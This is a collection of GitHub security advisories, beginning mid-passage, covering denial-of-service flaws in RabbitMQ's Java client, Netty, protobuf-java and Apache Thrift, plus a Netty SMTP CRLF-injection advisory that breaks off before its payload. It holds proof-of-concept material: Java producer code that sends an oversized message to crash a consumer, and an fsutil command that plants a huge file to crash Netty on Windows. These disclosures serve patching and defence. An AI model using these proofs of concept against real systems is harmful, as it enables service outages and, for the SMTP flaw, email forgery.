ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
String s = "A";
for(int i=0;i<28;++i){
s = s + s;
System.out.println(i);
}
amqpTemplate.convertAndSend(s);
System.out.println("Send Finish");
}
}
Consumer
- First set the heap memory size to 128M
- Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Consumer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
Object o = amqpTemplate.receiveAndConvert();
if(o != null){
String s = o.toString();
System.out.println("Received Length : " + s.length());
}else{
System.out.println("null");
}
}
}
Results
- Run the Producer first, then the Consumer
- Consumer throws OOM Exception
Impact
Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.rabbitmq:amqp-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46120"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-24T01:49:09Z",
"nvd_published_at": "2023-10-25T18:17:36Z",
"severity": "MODERATE"
},
"details": "### Summary\n`maxBodyLebgth` was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.\n\n### PoC\n#### RbbitMQ\n* Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)\n* Start RabbitMQ\n#### Producer\n* Build a String of length 256M and send it to Consumer\n```\n\npackage org.springframework.amqp.helloworld; \n\nimport org.springframework.amqp.core.AmqpTemplate; \nimport org.springframework.context.ApplicationContext; \nimport org.springframework.context.annotation.AnnotationConfigApplicationContext; \n\npublic class Producer {\n public static void main(String[] args) {\n ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); \n String s = \"A\";\n for(int i=0;i\u003c28;++i){\n s = s + s;\n System.out.println(i);\n }\n amqpTemplate.convertAndSend(s);\n System.out.println(\"Send Finish\");\n }\n }\n```\n\n#### Consumer\n* First set the heap memory size to 128M\n* Read the message sent by the Producer from the MQ and print the length\n```\npackage org.springframework.amqp.helloworld;\n\nimport org.springframework.amqp.core.AmqpTemplate;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.AnnotationConfigApplicationContext;\n\npublic class Consumer {\n \n public static void main(String[] args) {\n ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);\n Object o = amqpTemplate.receiveAndConvert();\n if(o != null){\n String s = o.toString();\n System.out.println(\"Received Length : \" + s.length());\n }else{\n System.out.println(\"null\");\n }\n }\n}\n```\n#### Results\n* Run the Producer first, then the Consumer\n* Consumer throws OOM Exception\n\n\n### Impact\nUsers of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.\n",
"id": "GHSA-mm8h-8587-p46h",
"modified": "2023-10-27T20:47:02Z",
"published": "2023-10-24T01:49:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46120"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/issues/1062"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8"
},
{
"type": "PACKAGE",
"url": "https://github.com/rabbitmq/rabbitmq-java-client"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "RabbitMQ Java client\u0027s Lack of Message Size Limitation leads to Remote DoS Attack"
}
GHSA-XQ3W-V528-46RV
Vulnerability from github – Published: 2024-11-12 19:53 – Updated: 2025-02-18 15:57Summary
An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.
Details
When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.
At this stage, Netty tries to load both /etc/os-release and /usr/lib/os-release even though it is in a Windows environment.
If netty finds this files, it reads them and loads them into memory.
By default :
- The JVM maximum memory size is set to 1 GB,
- A non-privileged user can create a directory at
C:\and create files within it.
the source code identified : https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java
Despite the implementation of the function normalizeOs() the source code not verify the OS before reading C:\etc\os-release and C:\usr\lib\os-release.
PoC
Create a file larger than 1 GB of data in C:\etc\os-release or C:\usr\lib\os-release on a Windows environnement and start your Netty application.
To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/)
cd C:\etc
fsutil file createnew os-release 3000000000
The source code used is the Netty website code example : Echo ‐ the very basic client and server.
The vulnerability was tested on the 4.1.112.Final version.
The security analyst tried the same technique for C:\proc\sys\net\core\somaxconn with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186
Impact
By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.
This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.
Client mode :
Server mode :
somaxconn :
Severity
- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running.
- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents).
- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability.
- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.
- Scope : "Unchanged" because only Netty is affected by the vulnerability.
- Confidentiality : "None" because no data is exposed through exploiting the vulnerability.
- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.
- Availability : "High" because the exploitation of this vulnerability crashes the entire java application.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.114.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.115.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47535"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-12T19:53:17Z",
"nvd_published_at": "2024-11-12T16:15:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n\n### Details\n\nWhen the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.\n\nAt this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. \n\n\u003cimg width=\"364\" alt=\"1\" src=\"https://github.com/user-attachments/assets/9466b181-9394-45a3-b0e3-1dcf105def59\"\u003e\n\nIf netty finds this files, it reads them and loads them into memory.\n\nBy default :\n\n- The JVM maximum memory size is set to 1 GB,\n- A non-privileged user can create a directory at `C:\\` and create files within it.\n\n\u003cimg width=\"340\" alt=\"2\" src=\"https://github.com/user-attachments/assets/43b359a2-5871-4592-ae2b-ffc40ac76831\"\u003e\n\n\u003cimg width=\"523\" alt=\"3\" src=\"https://github.com/user-attachments/assets/ad5c6eed-451c-4513-92d5-ba0eee7715c1\"\u003e\n\nthe source code identified :\nhttps://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java\n\nDespite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\\etc\\os-release` and `C:\\usr\\lib\\os-release`.\n\n### PoC\n\nCreate a file larger than 1 GB of data in `C:\\etc\\os-release` or `C:\\usr\\lib\\os-release` on a Windows environnement and start your Netty application.\n\nTo observe what the application does with the file, the security analyst used \"Process Monitor\" from the \"Windows SysInternals\" suite. (https://learn.microsoft.com/en-us/sysinternals/)\n\n```\ncd C:\\etc\nfsutil file createnew os-release 3000000000\n```\n\n\u003cimg width=\"519\" alt=\"4\" src=\"https://github.com/user-attachments/assets/39df22a3-462b-4fd0-af9a-aa30077ec08f\"\u003e\n\n\u003cimg width=\"517\" alt=\"5\" src=\"https://github.com/user-attachments/assets/129dbd50-fc36-4da5-8eb1-582123fb528f\"\u003e\n\nThe source code used is the Netty website code example : [Echo \u2010 the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html).\n\nThe vulnerability was tested on the 4.1.112.Final version.\n\nThe security analyst tried the same technique for `C:\\proc\\sys\\net\\core\\somaxconn` with a lot of values to impact Netty but the only things that works is the \"larger than 1 GB file\" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186\n\n### Impact\n\nBy loading the \"file larger than 1 GB\" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.\n\nThis behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.\n\nClient mode :\n\n\u003cimg width=\"449\" alt=\"6\" src=\"https://github.com/user-attachments/assets/f8fe1ed0-1a42-4490-b9ed-dbc9af7804be\"\u003e\n\nServer mode :\n\n\u003cimg width=\"464\" alt=\"7\" src=\"https://github.com/user-attachments/assets/b34b42bd-4fbd-4170-b93a-d29ba87b88eb\"\u003e\n\nsomaxconn :\n\n\u003cimg width=\"532\" alt=\"8\" src=\"https://github.com/user-attachments/assets/0656b3bb-32c6-4ae2-bff7-d93babba08a3\"\u003e\n\n### Severity\n\n- Attack vector : \"Local\" because the attacker needs to be on the system where the Netty application is running.\n- Attack complexity : \"Low\" because the attacker only need to create a massive file (regardless of its contents).\n- Privileges required : \"Low\" because the attacker requires a user account to exploit the vulnerability.\n- User intercation : \"None\" because the administrator don\u0027t need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.\n- Scope : \"Unchanged\" because only Netty is affected by the vulnerability.\n- Confidentiality : \"None\" because no data is exposed through exploiting the vulnerability.\n- Integrity : \"None\" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.\n- Availability : \"High\" because the exploitation of this vulnerability crashes the entire java application.",
"id": "GHSA-xq3w-v528-46rv",
"modified": "2025-02-18T15:57:45Z",
"published": "2024-11-12T19:53:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47535"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/fbf7a704a82e7449b48bd0bbb679f5661c6d61a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Denial of Service attack on windows app using netty"
}
GHSA-H4H5-3HR4-J3G2
Vulnerability from github – Published: 2022-10-04 22:17 – Updated: 2022-10-04 22:17Summary
A potential Denial of Service issue in protobuf-java core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.
Reporter: OSS Fuzz
Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.
Severity
CVE-2022-3171 Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication)
Remediation and Mitigation
Please update to the latest available versions of the following packages:
protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6)
{
"affected": [
{
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"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
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"introduced": "3.21.0-rc-1"
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}
]
},
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]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "google-protobuf"
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],
"aliases": [
"CVE-2022-3171"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-04T22:17:15Z",
"nvd_published_at": "2022-10-12T23:15:00Z",
"severity": "MODERATE"
},
"details": "## Summary\nA potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. \n\nReporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771)\n\nAffected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.\n\n## Severity\n\n[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication)\n\n## Remediation and Mitigation\n\nPlease update to the latest available versions of the following packages:\n\nprotobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3)\ngoogle-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6)\n",
"id": "GHSA-h4h5-3hr4-j3g2",
"modified": "2022-10-04T22:17:15Z",
"published": "2022-10-04T22:17:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-h4h5-3hr4-j3g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3171"
},
{
"type": "WEB",
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/releases/tag/v21.7"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.16.3"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.19.6"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.20.3"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2022-3171.yml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CBAUKJQL6O4TIWYBENORSY5P43TVB4M3"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MPCGUT3T5L6C3IDWUPSUO22QDCGQKTOP"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202301-09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "protobuf-java has a potential Denial of Service issue"
}
GHSA-RJ7P-RFGP-852X
Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2022-06-27 16:12In Apache Thrift all versions up to and including 0.12.0, a server or client may run into an endless loop when feed with specific input data. Because the issue had already been partially fixed in version 0.11.0, depending on the installed version it affects only certain language bindings.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.12.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-0205"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-27T16:12:09Z",
"nvd_published_at": "2019-10-29T19:15:00Z",
"severity": "HIGH"
},
"details": "In Apache Thrift all versions up to and including 0.12.0, a server or client may run into an endless loop when feed with specific input data. Because the issue had already been partially fixed in version 0.11.0, depending on the installed version it affects only certain language bindings.",
"id": "GHSA-rj7p-rfgp-852x",
"modified": "2022-06-27T16:12:09Z",
"published": "2022-05-24T17:00:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0205"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4633082b834eebccd0d322697651d931ab10ca9c51ee7ef18e1f60f4@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4d3f1d3e333d9c2b2f6e6ae8ed8750d4de03410ac294bcd12c7eefa3@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r50bf84c60867574238d18cdad5da9f303b618114c35566a3a001ae08@%3Cdev.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r53c03e1c979b9c628d0d65e0f49dd9a9f9d7572838727ad11b750575@%3Cuser.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r55609613abab203a1f2c1f3de050b63ae8f5c4a024df0d848d6915ff@%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r569b2b3da41ff45bfacfca6787a4a8728edd556e185b69b140181d9d@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r573029c2f8632e3174b9eea7cd57f9c9df33f2f706450e23fc57750a@%3Ccommits.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r67a704213d13326771f46c84bbd84c8281bb93946e155e0e40abcb4c@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r73a3c8b80765e3d2430ff51f22b778d0c917919f01815b69ed16cf9d@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r7859e767c90c8f4971dec50f801372aa64e88f143c3e8a265a36f9b4@%3Cuser.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r92b7771afee2625209c36727fefdc77033964e9a1daa81ec3327e625@%3Cuser.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r934f312dd5add7276ac2de684d8b237554ff9f34479a812df5fd6aee@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rab740e5c70424ef79fd095a4b076e752109aeee41c4256c2e5e5e142@%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rb139fa1d2714822d8c6e6f3bd6f5d5c91844d313201185c409288fd9@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rba61c1f3a3b1960a6a694775b1a437751eba0825f30188f69387fe90@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rce0d368a78b42c545f26c2e6e91e2b8a91b27b60d0cb45fe1911d337@%3Cnotifications.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/re387dc6ca11cb0b0ce4de8e800bb91ca50fee054b80105f5cd34adcb@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf359e5cc6a185494fc0cfe837fe82f7db2ef49242d35cbf3895aebce@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-32"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0804"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0805"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0806"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0811"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/003ac686189e6ce7b99267784d04bf60059a8c323eeda5a79a0309b8@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/07bd68ad237a5d513751d6d2731a8828f902c738ea57d85c1a72bad3@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/0d058e1bfd11727c4f2e2adf4b6e403a47c38e22431ab20066a1ac79@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/1193444c17f499f92cd198d464a2c1ffc92182c83487345a854914b3@%3Cuser.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/1c18ec6ebfea0a9211992be952e8b33d0fda202c077979b84a5e09a8@%3Cuser.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3dfa054b89274c9109c26ed1843ca15a14c03786f4016d26773878ae@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/928cae83d20d8d8196c26118f7084aa37573e1d31162381fb9454fb5@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/9f7150d0b02e72d1154721a412e80cf797f1b7cfa295fcefc67b1381@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/a9669756befaeb0f8e08766d3f4d410a0fce85da3a570506f71f0b67@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0c606d4be9aa163d132edf8edd8eb55e7b9464063b99acbbf6e9e287@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0d08f5576286f4a042aabde13ecf58979644f6dc210f25aa9a4d469b@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r137753c9df8dd9065bea27a26af49aadc406b5a57fc584fefa008afd@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1b1a92c229ead94d53b3bcde9e624d002b54f1c6fdb830b9f4da20e1@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r228ac842260c2c516af7b09f3cf4cf76e5b9c002e359954a203ab5a5@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r2832722c31d78bef7526e2c701ba4b046736e4c851473194a247392f@%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r36581cc7047f007dd6aadbdd34e18545ec2c1eb7ccdae6dd47a877a9@%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3887b48b183b6fa43e59398bd170a99239c0a16264cb5175b5b689d0@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "http://mail-archives.apache.org/mod_mbox/thrift-dev/201910.mbox/%3CVI1PR0101MB2142E0EA19F582429C3AEBCBB1920%40VI1PR0101MB2142.eurprd01.prod.exchangelabs.com%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Loop with Unreachable Exit Condition in Apache Thrift"
}
GHSA-G5WW-5JH7-63CX
Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:35A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.17.0"
},
{
"fixed": "3.19.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3509"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T22:33:53Z",
"nvd_published_at": "2022-12-12T13:15:00Z",
"severity": "HIGH"
},
"details": "A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
"id": "GHSA-g5ww-5jh7-63cx",
"modified": "2025-09-02T19:35:38Z",
"published": "2022-12-12T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3509"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/a3888f53317a8018e7a439bac4abeb8f3425d5e9"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/blob/v2.6.1/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/blob/v3.0.0/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}
GHSA-JQ43-27X9-3V86
Vulnerability from github – Published: 2025-10-15 17:12 – Updated: 2025-10-17 21:32Summary
An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.
Details
The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters.
The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.
Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client.
PoC
A minimal PoC involves passing a crafted string containing CRLF sequences to any SmtpRequest that accepts user-controlled parameters.
1. Malicious Payload
The core of the exploit is the payload, where new SMTP commands are injected into a parameter.
